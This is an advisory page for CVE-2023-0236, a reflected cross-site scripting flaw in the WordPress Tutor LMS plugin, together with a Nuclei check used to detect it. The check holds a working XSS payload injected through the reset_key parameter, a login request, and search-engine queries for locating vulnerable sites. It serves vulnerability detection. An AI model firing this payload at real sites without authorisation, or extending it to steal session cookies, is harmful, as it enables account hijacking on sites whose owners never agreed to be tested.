WordPress Tutor LMS <2.0.10 - Cross Site Scripting

mediumseverity

6.1CVSS score

1.3%likelihood of exploitation, next 30 days

72%of all CVEs are less likely

Readycheck to confirm it

WordPress Tutor LMS plugin before 2.0.10 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the reset_key and user_id parameters before outputting then back in attributes. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This vulnerability can be used against high-privilege users such as admin.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Fixed in version 2.0.10.

How to confirm it

Send: POST /wp-login.php ; GET /dashboard/retrieve-password/?reset_key=%22%3E%3Csvg%20onload=prompt(document.domain)%3E&user_id=dd
Positive when: status_code_2 == 200 and contains(body_2, "<svg onload=prompt(document.domain)>") and contains(body_2, "Instructor Registration")

Run it with nuclei: nuclei -id CVE-2023-0236 -u <target>

The full check

id: CVE-2023-0236

info:
  name: WordPress Tutor LMS <2.0.10 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress Tutor LMS plugin before 2.0.10 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the reset_key and user_id parameters before outputting then back in attributes. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This vulnerability can be used against high-privilege users such as admin.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 2.0.10.
  reference:
    - https://wpscan.com/vulnerability/503835db-426d-4b49-85f7-c9a20d6ff5b8
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0236
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-0236
    cwe-id: CWE-79
    epss-score: 0.01347
    epss-percentile: 0.71678
    cpe: cpe:2.3:a:themeum:tutor_lms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: themeum
    product: tutor_lms
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/tutor/
    fofa-query: body=/wp-content/plugins/tutor/
    publicwww-query: /wp-content/plugins/tutor/
  tags: cve2023,cve,xss,tutorlms,wpscan,wordpress,wp-plugin,authenticated,themeum,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /dashboard/retrieve-password/?reset_key=%22%3E%3Csvg%20onload=prompt(document.domain)%3E&user_id=dd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "<svg onload=prompt(document.domain)>")'
          - 'contains(body_2, "Instructor Registration")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from